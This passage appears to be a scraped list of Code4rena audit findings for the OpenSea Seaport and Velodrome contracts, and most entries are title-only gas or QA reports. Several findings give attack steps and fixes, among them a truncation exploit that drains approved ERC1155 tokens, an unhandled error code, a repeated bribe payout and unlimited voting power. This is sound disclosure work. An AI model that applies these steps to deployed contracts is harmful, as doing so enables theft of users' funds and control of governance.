https://github.com/code-423n4/2022-05-opensea-seaport/blob/4140473b1f85d0df602548ad260b1739ddd734a5/contracts/lib/OrderValidator.sol#L238 # Vulnerability details ## Impact A partial order's fractions (`numerator` and `denominator`) can be reset to `0` due to a truncation. This can be used to craft malicious orders: 1. Consider user Alice, who has 100 ERC1155 tokens, who approved all of their tokens to the `marketplaceContract`. 2. Alice places a `PARTIAL_OPEN` order with 10 ERC1155 tokens and consideration of ETH. 3. Malory tries to fill the order in the following way: 1. Malory tries to fill 50% of the order, but instead of providing the fraction `1 / 2`, Bob provides `2**118 / 2**119`. This sets the `totalFilled` to `2**118` and `totalSize` to `2**119`. 2. Malory tries to fill 10% of the order, by providing `1 / 10`. The computation `2**118 / 2**119 + 1 / 10` is done by \"cross multiplying\" the denominators, leading to the acutal fraction being `numerator = (2**118 * 10 + 2**119)` and `denominator = 2**119 * 10`. 3. Because of the `uint120` truncation in [OrderValidator.sol#L228-L248](https://github.com/ProjectOpenSea/seaport/blob/6c24d09fc4be9bbecf749e6a7a592c8f7b659405/contracts/lib/OrderValidator.sol#L228-L248), the `numerator` and `denominator` are truncated to `0` and `0` respectively. 4. Bob can now continue filling the order and draining any approved (1000 tokens in total) of the above ERC1155 tokens, for the same consideration amount! ## Proof of Concept For a full POC: https://gist.github.com/hrkrshnn/7c51b23f7c43c55ba0f8157c3b298409 The following change would make the above POC fail: ```diff modified contracts/lib/OrderValidator.sol @@ -225,6 +225,8 @@ contract OrderValidator is Executor, ZoneInteraction { // Update order status and fill amount, packing struct values. _orderStatus[orderHash].isValidated = true; _orderStatus[orderHash].isCancelled = false; + require(filledNumerator + numerator <= type(uint120).max, \"overflow\"); + require(denominator <= type(uint120).max, \"overflow\"); _orderStatus[orderHash].numerator = uint120( filledNumerator + numerator ); @@ -234,6 +236,8 @@ contract OrderValidator is Executor, ZoneInteraction { // Update order status and fill amount, packing struct values. _orderStatus[orderHash].isValidated = true; _orderStatus[orderHash].isCancelled = false; + require(numerator <= type(uint120).max, \"overflow\"); + require(denominator <= type(uint120).max, \"overflow\"); _orderStatus[orderHash].numerator = uint120(numerator); _orderStatus[orderHash].denominator = uint120(denominator); } ``` ## Tools Used Manual review ## Recommended Mitigation Steps A basic fix for this would involve adding the above checks for overflow / truncation and reverting in that case. However, we think the mechanism is still flawed in some respects and require more changes to fully fix it. See a related issue: \"A malicious filler can fill a partial order in such a way that the rest cannot be filled by anyone\" that points out a related but a more fundamental issue with the mechanism. "}, {"title": "`_aggregateValidFulfillmentOfferItems()` can be tricked to accept invalid inputs", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/75", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-05-opensea-seaport-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-opensea-seaport/blob/main/contracts/lib/FulfillmentApplier.sol#L406 # Vulnerability details ## Impact The `_aggregateValidFulfillmentOfferItems()` function aims to revert on orders with zero value or where a total consideration amount overflows. Internally this is accomplished by having a temporary variable `errorBuffer`, accumulating issues found, and only reverting once all the items are processed in case there was a problem found. This code is optimistic for valid inputs. Note: there is a similar issue in `_aggregateValidFulfillmentConsiderationItems()` , which is reported separately. The problem lies in how this `errorBuffer` is updated: ```solidity // Update error buffer (1 = zero amount, 2 = overflow). errorBuffer := or( errorBuffer, or( shl(1, lt(newAmount, amount)), iszero(mload(amountPtr)) ) ) ``` The final error handling code: ```solidity // Determine if an error code is contained in the error buffer. switch errorBuffer case 1 { // Store the MissingItemAmount error signature. mstore(0, MissingItemAmount_error_signature) // Return, supplying MissingItemAmount signature. revert(0, MissingItemAmount_error_len) } case 2 { // If the sum overflowed, panic. throwOverflow() } ``` While the expected value is `0` (success), `1` or `2` (failure), it is possible to set it to `3`, which is unhandled and considered as a \"success\". This can be easily accomplished by having both an overflowing item and a zero item in the order list. This validation error could lead to fulfilling an order with a consideration (potentially ~0) lower than expected. ## Proof of Concept Craft an offer containing two errors (e.g. with zero amount and overflow). Call `matchOrders()`. Via calls to `_matchAdvancedOrders()`, `_fulfillAdvancedOrders()`, `_applyFulfillment()`, `_aggregateValidFulfillmentOfferItems()` will be called. The `errorBuffer` will get a value of 3 (the `or` of 1 and 2). As the value of 3 is not detected, no error will be thrown and the order will be executed, including the mal formed values. ## Tools Used Manual review ## Recommended Mitigation Steps 1. Change the check on [FulfillmentApplier.sol#L465](https://github.com/code-423n4/2022-05-opensea-seaport/blob/main/contracts/lib/FulfillmentApplier.sol#L465) to consider `case 3`. 2. Potential option: Introduce an early abort in case `errorBuffer != 0` on [FulfillmentApplier.sol#L338](https://github.com/code-423n4/2022-05-opensea-seaport/blob/main/contracts/lib/FulfillmentApplier.sol#L338) "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/74", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/71", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/70", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/65", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/64", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/63", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/60", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/57", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/53", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/52", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/42", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/41", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/28", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/23", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/21", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-opensea-seaport-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/20", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/17", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-opensea-seaport-findings/issues/4", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-opensea-seaport-findings", "body": "Gas Optimizations"}, {"title": "Agreement & Disclosures", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/228", "labels": [], "target": "2022-05-velodrome-findings", "body": "Agreement & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/224", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/223", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Bribe.sol is not meant to handle fee-on-transfer tokens", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/222", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-velodrome-findings", "body": "Bribe.sol is not meant to handle fee-on-transfer tokens"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/218", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/217", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/216", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/215", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/214", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/213", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/212", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/211", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/210", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/209", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/208", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/207", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Voting overwrites checkpoint.voted in last checkpoint, so users can just vote right before claiming rewards", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/206", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2022-05-velodrome-findings", "body": "Voting overwrites checkpoint.voted in last checkpoint, so users can just vote right before claiming rewards"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/205", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/203", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/202", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/201", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/200", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/196", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/194", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/193", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/191", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/187", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Wrong calculation for the new `rewardRate[token]` can cause some of the late users can not get their rewards", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/186", "labels": ["bug", "duplicate", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-velodrome-findings", "body": "Wrong calculation for the new `rewardRate[token]` can cause some of the late users can not get their rewards"}, {"title": "Voting tokens may be lost when given to non-EOA accounts", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/185", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-05-velodrome-findings", "body": "Voting tokens may be lost when given to non-EOA accounts"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/184", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Malicious user can populate `rewards` array with tokens of their interest reaching limits of `MAX_REWARD_TOKENS`", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/182", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "sponsor confirmed"], "target": "2022-05-velodrome-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Bribe.sol#L41-L60 # Vulnerability details ## Impact Malicious user can populate `rewards` array with different tokens early reaching limit of `MAX_REWARD_TOKENS` sending very small amount of different tokens. It will restrict any other tokens to be used as `rewards` in [Bribe.sol#notifyRewardAmount()](https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Bribe.sol#L41) ## Proof of Concept A custom malicious contract can be created that can make multiple calls to `notifyRewardAmount()` sending very small amounts of different tokens to populate the array `rewards` and fulfill the total of `MAX_REWARD_TOKENS` . This will restrict any other person from adding to `rewards` array. ## Tools Used - Manual analysis ## Recommended Mitigation Steps "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/180", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/179", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/176", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Voting, Bribing, and Voting Phases Differ From Specification", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/175", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-velodrome-findings", "body": "Voting, Bribing, and Voting Phases Differ From Specification"}, {"title": "Griefing Attack By Extending The Reward Duration", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/172", "labels": ["bug", "duplicate", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-velodrome-findings", "body": "Griefing Attack By Extending The Reward Duration"}, {"title": "Bribe Rewards Not Collected In Current Period Will Be Lost Forever", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/171", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-velodrome-findings", "body": "Bribe Rewards Not Collected In Current Period Will Be Lost Forever"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/170", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Bribe Rewards Struck In Contract If Deposited During First Epoch", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/168", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2022-05-velodrome-findings", "body": "Bribe Rewards Struck In Contract If Deposited During First Epoch"}, {"title": "swapping reward token problem in Gause.sol", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/167", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "swapping reward token problem in Gause.sol"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/166", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/165", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/164", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/163", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/162", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/161", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Rewards can be locked in Bribe contract because distributing them is depend of base token reward amount and Gauge.deliverBribes() is not get called always by Voter.distribute()", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/158", "labels": ["bug", "duplicate", "2 (Med Risk)", "sponsor disputed"], "target": "2022-05-velodrome-findings", "body": "Rewards can be locked in Bribe contract because distributing them is depend of base token reward amount and Gauge.deliverBribes() is not get called always by Voter.distribute()"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/155", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Owner's delegates should be decreased in `_burn()`", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/153", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-velodrome-findings", "body": "Owner's delegates should be decreased in `_burn()`"}, {"title": "Rewards can be locked in Gauge because of rounding error in _notifyBribeAmount() or notifyRewardAmount()", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/152", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "Rewards can be locked in Gauge because of rounding error in _notifyBribeAmount() or notifyRewardAmount()"}, {"title": "`Pair.sol#_update()` will revert when `reserve0CumulativeLast` or `reserve1CumulativeLast` gets large enough", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/148", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-velodrome-findings", "body": "`Pair.sol#_update()` will revert when `reserve0CumulativeLast` or `reserve1CumulativeLast` gets large enough"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/146", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/145", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/143", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Wrong reward distribution in Bribe because deliverReward() won't set tokenRewardsPerEpoch[token][epochStart] to 0 ", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/141", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-velodrome-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Bribe.sol#L83-L90 # Vulnerability details ## Impact Function `deliverReward()` in `Bribe` contract won't set `tokenRewardsPerEpoch[token][epochStart]` to `0` after transferring rewards. `Gauge.getReward()` calls `Voter.distribute()` which calls `Gauge.deliverBribes()` which calls `Bribe.deliverReward()`. so if `Gauge.getReward()` or `Voter.distribute()` get called multiple times in same epoch then `deliverReward()` will transfer `Bribe` tokens multiple times because it doesn't set `tokenRewardsPerEpoch[token][epochStart]` to `0` after transferring. ## Proof of Concept This is `deliverReward()` code in `Bribe`: ``` function deliverReward(address token, uint epochStart) external lock returns (uint) { require(msg.sender == gauge); uint rewardPerEpoch = tokenRewardsPerEpoch[token][epochStart]; if (rewardPerEpoch > 0) { _safeTransfer(token, address(gauge), rewardPerEpoch); } return rewardPerEpoch; } ``` As you can see it doesn't set `tokenRewardsPerEpoch[token][epochStart]` value to `0`, so if this function get called multiple times it will transfer epoch rewards multiple times (it will use other epoch's rewards tokens). function `Gauge.deliverBribes()` calls `Bribe.deliverReward()` and `Gauge.deliverBribes()` is called by `Voter.distribute()` if the condition `claimable[_gauge] > DURATION` is `True`. This is those functions codes: ``` function deliverBribes() external lock { require(msg.sender == voter); IBribe sb = IBribe(bribe); uint bribeStart = block.timestamp - (block.timestamp % (7 days)) + BRIBE_LAG; uint numRewards = sb.rewardsListLength(); for (uint i = 0; i < numRewards; i++) { address token = sb.rewards(i); uint epochRewards = sb.deliverReward(token, bribeStart); if (epochRewards > 0) { _notifyBribeAmount(token, epochRewards, bribeStart); } } } ``` ``` function distribute(address _gauge) public lock { require(isAlive[_gauge]); // killed gauges cannot distribute uint dayCalc = block.timestamp % (7 days); require((dayCalc < BRIBE_LAG) || (dayCalc > (DURATION + BRIBE_LAG)), \"cannot claim during votes period\"); IMinter(minter).update_period(); _updateFor(_gauge); uint _claimable = claimable[_gauge]; if (_claimable > IGauge(_gauge).left(base) && _claimable / DURATION > 0) { claimable[_gauge] = 0; IGauge(_gauge).notifyRewardAmount(base, _claimable); emit DistributeReward(msg.sender, _gauge, _claimable); // distribute bribes & fees too IGauge(_gauge).deliverBribes(); } } ``` also `Gauge.getReward()` calls `Voter.getReward()`. condition `claimable[_gauge] > DURATION` in `Voter.distribute()` can be true multiple time in one epoch (`deliverBribes()` would be called multiple times) because `claimable[_gauge]` is based on `index` and `index` increase by `notifyRewardAmount()` in `Voter` anytime. ## Tools Used VIM ## Recommended Mitigation Steps set `tokenRewardsPerEpoch[token][epochStart]` to `0` in `deliverReward` "}, {"title": "temporary DOS by calling notifyRewardAmount() in Bribe/Gauge with malicious tokens", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/138", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-velodrome-findings", "body": "temporary DOS by calling notifyRewardAmount() in Bribe/Gauge with malicious tokens"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/136", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/134", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/132", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/131", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/130", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Users can get unlimited votes", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/129", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-05-velodrome-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/VotingEscrow.sol#L517-L528 # Vulnerability details ## Impact Users can get unlimited votes which leads to them: 1. gaining control over governance 2. getting undeserved rewards 3. having their pools favored due to gauge values ## Proof of Concept `_mint()` calls `_moveTokenDelegates()` to set up delegation... ```solidity File: contracts/contracts/VotingEscrow.sol #1 462 function _mint(address _to, uint _tokenId) internal returns (bool) { 463 // Throws if `_to` is zero address 464 assert(_to != address(0)); 465 // TODO add delegates 466 // checkpoint for gov 467 _moveTokenDelegates(address(0), delegates(_to), _tokenId); ``` https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/VotingEscrow.sol#L462-L467 and `_transferFrom()` calls `_moveTokenDelegates()` to transfer delegates... ```solidity File: contracts/contracts/VotingEscrow.sol #2 301 function _transferFrom( 302 address _from, 303 address _to, 304 uint _tokenId, 305 address _sender 306 ) internal { 307 require(attachments[_tokenId] == 0 && !voted[_tokenId], \"attached\"); 308 // Check requirements 309 require(_isApprovedOrOwner(_sender, _tokenId)); 310 // Clear approval. Throws if `_from` is not the current owner 311 _clearApproval(_from, _tokenId); 312 // Remove NFT. Throws if `_tokenId` is not a valid NFT 313 _removeTokenFrom(_from, _tokenId); 314 // TODO delegates 315 // auto re-delegate 316 _moveTokenDelegates(delegates(_from), delegates(_to), _tokenId); ``` https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/VotingEscrow.sol#L301-L316 but `_burn()` does not transfer them back to `address(0)` ```solidity File: contracts/contracts/VotingEscrow.sol #3 517 function _burn(uint _tokenId) internal { 518 require(_isApprovedOrOwner(msg.sender, _tokenId), \"caller is not owner nor approved\"); 519 520 address owner = ownerOf(_tokenId); 521 522 // Clear approval 523 approve(address(0), _tokenId); 524 // TODO add delegates 525 // Remove token 526 _removeTokenFrom(msg.sender, _tokenId); 527 emit Transfer(owner, address(0), _tokenId); 528 } ``` https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/VotingEscrow.sol#L517-L528 A user can deposit a token, lock it, wait for the lock to expire, transfer the token to another address, and repeat. During each iteration, a new NFT is minted and checkpointed. Calls to `getPastVotes()` will show the wrong values, since it will think the account still holds the delegation of the burnt NFT. Bribes and gauges also look at the checkpoints and will also have the wrong information ## Tools Used Code inspection ## Recommended Mitigation Steps Call `_moveTokenDelegates(owner,address(0))` in `_burn()` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/128", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/127", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-velodrome-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/126", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-velodrome-findings/issues/124", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-velodrome-findings", "body": "QA Report"}, {"title": "Gas Optimizations", 